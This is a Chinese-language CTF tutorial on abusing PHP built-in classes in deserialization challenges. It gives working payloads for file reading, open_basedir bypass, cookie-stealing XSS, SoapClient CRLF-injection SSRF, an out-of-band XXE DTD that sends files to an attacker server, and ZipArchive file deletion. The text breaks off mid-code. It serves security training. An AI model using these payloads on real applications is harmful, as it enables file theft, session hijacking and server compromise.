PHP原生类总结
前言
做这个总结的目的,一方面是为了巩固一下之前学习的内容,另一方面就是将知识系统化整理让其他人学习。
在做题过程中,有时候根据已知源码,想获取flag是不可能的,但是如果是php环境下,而且可以利用php原生类,可以打一些意想不到的payload,从而bypass或者获得flag。
利用下面脚本可以遍历得到php内置类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'open',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}
下面几个是在CTF中常用到的内置类
Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement
下面对这些原生类依次讲解
SplFileObject:读取文件
根据官方文档:
- SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作
类介绍
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false|void
public eof(): boolvoid
public fflush(): boolvoid
public fgetc(): string|false|void
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): stringvoid
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): intvoid
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): arrayvoid
public ftell(): int|false|void
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): nullvoid
public getCsvControl(): arrayvoid
public getFlags(): intvoid
public getMaxLineLen(): intvoid
public hasChildren(): falsevoid
public key(): intvoid
public next(): voidvoid
public rewind(): voidvoid
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): stringvoid
public valid(): boolvoid
/* 继承的方法 */
public SplFileInfo::getATime(): int|false|void
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false|void
public SplFileInfo::getExtension(): stringvoid
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): stringvoid
public SplFileInfo::getGroup(): int|false|void
public SplFileInfo::getInode(): int|false|void
public SplFileInfo::getLinkTarget(): string|false|void
public SplFileInfo::getMTime(): int|false|void
public SplFileInfo::getOwner(): int|false|void
public SplFileInfo::getPath(): stringvoid
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): stringvoid
public SplFileInfo::getPerms(): int|false|void
public SplFileInfo::getRealPath(): string|false|void
public SplFileInfo::getSize(): int|false|void
public SplFileInfo::getType(): string|false|void
public SplFileInfo::isDir(): boolvoid
public SplFileInfo::isExecutable(): boolvoid
public SplFileInfo::isFile(): boolvoid
public SplFileInfo::isLink(): boolvoid
public SplFileInfo::isReadable(): boolvoid
public SplFileInfo::isWritable(): boolvoid
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): stringvoid
}
举个例子
flag.txt
flag{test1}
flag{test2}
flag{test3}
<?php
$a=new SplFileObject('flag.txt');
echo $a;
可以看到,SplFileObject一次只能读一行数据,因此在CTF中会结合php伪协议之类的打组合拳,也会和下面介绍的遍历目录的一些类打组合拳
而且,是否能够利用SplFileObject以及目录遍历内置类的关键是,看有没有echo之类的可以触发其内置的__toString(),从而实现PHP内置类的利用
例题
[GDOUCTF 2023]反方向的钟
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
链子还是比较清晰的
school::__wakeup()->classroom::hahaha()->school::IPO()
<?php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
$a=new teacher('ing','department');
$b=new classroom('one class',$a);
$c=new school($b,'ong');
echo base64_encode(serialize($c));
之后可以进行传参了,但是根据源码,没有可以进行RCE的点,这个时候就可以利用PHP的原生类了
利用SplFileObject类结合php伪协议读取flag
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
[2021 MAR DASCTF 明御攻防赛]ez_serialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
}
通过审计,发现链子为
A::__constuct->C::vaild->A::__wakeup()
我们不能使用特殊字符,可以利用字母和数字进行操作,而且可以看到
echo new $this->class ($this->para);
可以通过echo调用内置类中的__toString(),从而利用php内置类,所以我们可以使用PHP内置类
先遍历目录
<?php
class A{
public $class='FilesystemIterator';
public $para='/var/www/html';
public $check;
}
$a=new A();
echo urlencode(serialize($a));
遍历得到aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE
继续遍历
<?php
class A{
public $class='FilesystemIterator';
public $para='/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE';
public $check;
}
$a=new A();
echo urlencode(serialize($a));
得到flag.php,之后结合SplFileObject类进行读取
<?php
class A{
public $class='SplFileObject';
public $para='/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php';
public $check;
}
$a=new A();
echo urlencode(serialize($a));
GlobIterator,DirectoryIterator,FilesystemIterator:遍历目录
这几个类一般配合别的类打组合拳的
DirectoryIterator 类
PHP: DirectoryIterator - Manual
DirectoryIterator 类提供了一个简单的查看界面 文件系统目录的内容。
类摘要
class DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* 方法 */
public __construct(string $directory)
public current(): mixedvoid
public getBasename(string $suffix = ""): string
public getExtension(): stringvoid
public getFilename(): stringvoid
public isDot(): boolvoid
public key(): mixedvoid
public next(): voidvoid
public rewind(): voidvoid
public seek(int $offset): void
public __toString(): stringvoid
public valid(): boolvoid
/* 继承的方法 */
public SplFileInfo::getATime(): int|false|void
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false|void
public SplFileInfo::getExtension(): stringvoid
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): stringvoid
public SplFileInfo::getGroup(): int|false|void
public SplFileInfo::getInode(): int|false|void
public SplFileInfo::getLinkTarget(): string|false|void
public SplFileInfo::getMTime(): int|false|void
public SplFileInfo::getOwner(): int|false|void
public SplFileInfo::getPath(): stringvoid
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): stringvoid
public SplFileInfo::getPerms(): int|false|void
public SplFileInfo::getRealPath(): string|false|void
public SplFileInfo::getSize(): int|false|void
public SplFileInfo::getType(): string|false|void
public SplFileInfo::isDir(): boolvoid
public SplFileInfo::isExecutable(): boolvoid
public SplFileInfo::isFile(): boolvoid
public SplFileInfo::isLink(): boolvoid
public SplFileInfo::isReadable(): boolvoid
public SplFileInfo::isWritable(): boolvoid
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): stringvoid
}
示例:
<?php
$iterator = new DirectoryIterator('C:\\');
echo $iterator->getPathname();
?>
C:\$Recycle.Bin
遍历目录
<?php
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString()
方法,输出指定目录里面经过排序之后的第一个文件名
常配合glob://协议寻找我们想要的文件路径
<?php
$dir=new DirectoryIterator("glob:///flag");
echo $dir;
payload:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
FilesystemIterator 类
PHP: FilesystemIterator - Manual
FilesystemIterator提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
其实和DirectoryIterator类相同用法
<?php
$dir=new FilesystemIterator("C:\\");
echo $dir;
$Recycle.Bin
payload:
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
GlobIterator 类
遍历一个文件系统行为类似于 glob()。
类摘要
class GlobIterator extends FilesystemIterator implements Countable {
/* 继承的常量 */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* 方法 */
public __construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
public count(): intvoid
/* 继承的方法 */
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator|void
public FilesystemIterator::getFlags(): intvoid
public FilesystemIterator::key(): stringvoid
public FilesystemIterator::next(): voidvoid
public FilesystemIterator::rewind(): voidvoid
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixedvoid
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): stringvoid
public DirectoryIterator::getFilename(): stringvoid
public DirectoryIterator::isDot(): boolvoid
public DirectoryIterator::key(): mixedvoid
public DirectoryIterator::next(): voidvoid
public DirectoryIterator::rewind(): voidvoid
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): stringvoid
public DirectoryIterator::valid(): boolvoid
public SplFileInfo::getATime(): int|false|void
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false|void
public SplFileInfo::getExtension(): stringvoid
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): stringvoid
public SplFileInfo::getGroup(): int|false|void
public SplFileInfo::getInode(): int|false|void
public SplFileInfo::getLinkTarget(): string|false|void
public SplFileInfo::getMTime(): int|false|void
public SplFileInfo::getOwner(): int|false|void
public SplFileInfo::getPath(): stringvoid
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): stringvoid
public SplFileInfo::getPerms(): int|false|void
public SplFileInfo::getRealPath(): string|false|void
public SplFileInfo::getSize(): int|false|void
public SplFileInfo::getType(): string|false|void
public SplFileInfo::isDir(): boolvoid
public SplFileInfo::isExecutable(): boolvoid
public SplFileInfo::isFile(): boolvoid
public SplFileInfo::isLink(): boolvoid
public SplFileInfo::isReadable(): boolvoid
public SplFileInfo::isWritable(): boolvoid
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): stringvoid
}
GlobIterator类与前面两个类的区别是,可以直接通过模式匹配寻找文件路径,而前两个类是生成一个指定目录的迭代器,之后利用echo调用内置类中的__tostring方法从而调用第一个文件名的
<?php
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f);
}
?>
payload:
$a = new GlobIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}
Trick->绕过open_basedir限制
遍历目录
DirectoryIterator类 + glob://协议
<?php
ini_get('open_basedir');
$dir_array = array();
$dir = new DirectoryIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
$dir = new DirectoryIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
?>
利用两次DirectoryIterator类 + glob://协议
可以直接读取根目录的内容
FilesystemIterator类 + glob://协议
我们上面也了解到了FilesystemIterator类和DirectoryIterator类作用一样,只是显示不太一样
<?php
ini_get('open_basedir');
$dir_array = array();
$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
?>
文件读取
ini_set() + 相对路径
由于open_basedir自身的问题,设置为相对路径..
在解析的时候会致使自身向上跳转一层
因此多设置几次ini_set()就可以跳转到根目录
<?php
show_source(__FILE__);
ini_get('open_basedir');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');
?>
shell命令执行
shell命令不受open_basedir的影响
<?php
show_source(__FILE__);
ini_get('open_basedir');
system('cat /etc/passwd');
?>
symlink()
<?php
show_source(__FILE__);
mkdir("1");chdir("1");
mkdir("2");chdir("2");
mkdir("3");chdir("3");
mkdir("4");chdir("4");
chdir("..");chdir("..");chdir("..");chdir("..");
symlink("1/2/3/4","tmplink");
symlink("tmplink/../../../../etc/hosts","bypass");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("bypass");
?>
由于symlink()在软连接的时候不区分类型,我们利用创建的文件夹顶替了软连接,变成了
/www/wwwroot/default/tmplink/../../../../etc/hosts
也就目录穿越到了/etc/hosts
Error,Exception:XSS,绕过哈希比较
XSS
Error类
- 适用于php7版本
- 在开启报错的情况下
Error类可以自定义一个Error。
在Php7版本中,和前面的内置类利用条件一样,如果通过echo
之类的方法,将对象当作一个字符串输出或使用的时候,会触发其内置的__toString方法,从而可以利用这个内置类做一些坏事情
比较常见的是在反序列化中没有pop链时,而且符合打的条件,可以转为利用Error类打Xss
<?php
$a=new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
<?php
phpinfo();
show_source(__FILE__);
$a = unserialize($_GET['cmd']);
echo $a;
?>
可以看到,server端最后通过echo输出GET传参的结果,所以可以触发Error类的__toString方法
Exception类
- 适用于php5、7版本
- 开启报错的情况下
和Error类类似,但是可以在Php5版本下使用
<?php
$a=new Exception("<script>alert('xss')</script>");
echo urlencode(serialize($a));
例题
[BJDCTF 2nd]xss之光
利用Buu的靶机,打开BP扫描发现有git泄露
得到源码
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
只给了一个传参地方,根据题目名以及条件,这个时候就可以利用内置类打Xss了
<?php
$a=new Exception('<script>window.open("http://9f5ea2b6-a58d-4d22-82c7-eeb923f3d9a6.node5.buuoj.cn:81/"+document.cookie)</script>');
//一般Xss题目flag在Cookie里
echo urlencode(serialize($a));
绕过哈希比较
Error类
- php7.0.0
Exception类
- php5
这里我两个一起说了,原理都是一样的
示例:
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo $b;
可以看到,输出结果是一样的,因此可以绕过哈希
SoapClient:SSRF
SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要
class SoapClient {
/* 属性 */
private ?string $uri = null;
private ?int $style = null;
private ?int $use = null;
private ?string $location = null;
private bool $trace = false;
private ?int $compression = null;
private ?resource $sdl = null;
private ?resource $typemap = null;
private ?resource $httpsocket = null;
private ?resource $httpurl = null;
private ?string $_login = null;
private ?string $_password = null;
private bool $_use_digest = false;
private ?string $_digest = null;
private ?string $_proxy_host = null;
private ?int $_proxy_port = null;
private ?string $_proxy_login = null;
private ?string $_proxy_password = null;
private bool $_exceptions = true;
private ?string $_encoding = null;
private ?array $_classmap = null;
private ?int $_features = null;
private int $_connection_timeout;
private ?resource $_stream_context = null;
private ?string $_user_agent = null;
private bool $_keep_alive = true;
private ?int $_ssl_method = null;
private int $_soap_version;
private ?int $_use_proxy = null;
private array $_cookies = [];
private ?array $__default_headers = null;
private ?SoapFault $__soap_fault = null;
private ?string $__last_request = null;
private ?string $__last_response = null;
private ?string $__last_request_headers = null;
private ?string $__last_response_headers = null;
/* 方法 */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call
触发很简单,就是当对象访问不存在的方法的时候就会触发。
该类的构造函数如下:
PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间
本地测试一下
<?php
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));
$client->AAA();
?>
本地监听9999端口
POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372
我们发现ua是可控的,可以通过CRLF控制报文
<?php
$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
$client->AAA();
//echo urlencode(serialize($client));
?>
POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数
Content-Type:application/x-www-form-urlencoded
Content-Length: 13
token=ctfshow//长度13 下面的丢弃
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372
因此达成伪造的效果
例题
ctfshow web259
index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
可以看到这里调用了一个不存在的方法,所以考点应该就是利用SoapClient打SSRF了
flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //打散为数组,用,分割
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
可以看到
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
XFF头需要array_pop两次,取第二次的值作为IP,所以我们构造XFF的时候需要注意一下,可以测试一下
array_pop两次:
X-Forwarded-For:x ————>X-Forwarded-For:空
X-Forwarded-For:x,y ————>X-Forwarded-For:x
X-Forwarded-For:x,y,z ————>X-Forwarded-For:y
CRLF小tips:
HTTP请求头之间的参数用一个\r\n分隔
HTTP Header与HTTP Body是用两个\r\n分隔的
payload:
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$ua="test\r\nX-Forwared-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//Content-Length需要修改
$b = new SoapClient(null,array('location' => $target,'user_agent'=>$ua,'uri'=> "http://127.0.0.1/"));
$a = serialize($b);
echo urlencode($a);
?>
之后访问flag.txt即可
SimpleXMLElement:XXE
PHP: SimpleXMLElement - Manual
能够利用SimpleXMLElement类进行XXE主要是因为调用SimpleXMLElement::__construct可以远程控制xml文件
PHP: SimpleXMLElement::__construct - Manual
可以看到,如果我们第三个参数dataIsURL设置为true,就可以远程调用xml文件,实现XXE攻击
- 第一个参数data,就是我们自己设置payload的url地址
- 第二个参数options,一般设置为2
- 第三个参数dataIsURL,设置为true
例题
[SUCTF 2018]Homework
一进入靶机是一个登录界面,随便注册一个账号登录即可
发现有2个界面一个是调用calc进行计算,另一个是一个文件上传,猜测calc界面是用来获取源码或者hint的
发现这个计算器是由于module调用了calc类,从而实现计算器的功能的
而且参数是可控的,而且有3个参数可以控制,可以利用SimpleXMLElement进行XXE攻击调取源码
在VPS上构造:
evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://VPS/test/send.xml">
%int;
%all;
%send;
]>
send.xml
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS/?%payl;'>">
从日志看
之后打SQL注入,就不再这里过多陈述
ZipArchive:删除文件
用 Zip 压缩的文件归档。
- php 5.20
常用类方法
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除
主要利用的是ZipArchive::open
主要是第二个参数flags选用的模式
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8
所以我们可以设置flags为overwrite模式或者赋值为8进行文件删除,从而绕过一些限制
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ //admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
可以发现是存在一个shell.php的,我们构造链子读一下
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ //admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
$a=new Game();
$a->username='admin';
$a->password='admin';
$a->register='admin';
$a->file=new Open();
$a->filename='php://filter/read=convert.base64-encode/resource=shell';
$a->content='a';
echo base64_encode(serialize($a));
得到shell.php
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
其实绕过还是比较好绕过的,但是在源码中
if(!file_get_contents('waf.txt')){
shell($content);
只有waf.txt不存在的时候才可以进行命令执行,所以我们需要删除这个waf.txt,利用PHP内置类ZipArchive
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ //admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
$a=new Game();
$a->username='admin';
$a->password='admin';
$a->register='admin';
$a->file=new ZipArchive();
$a->filename='waf.txt';
$a->content=8;//或者ZipArchive::OVERWRITE
echo base64_encode(serialize($a));
之后构造链子绕过正则即可得到flag
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ //admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
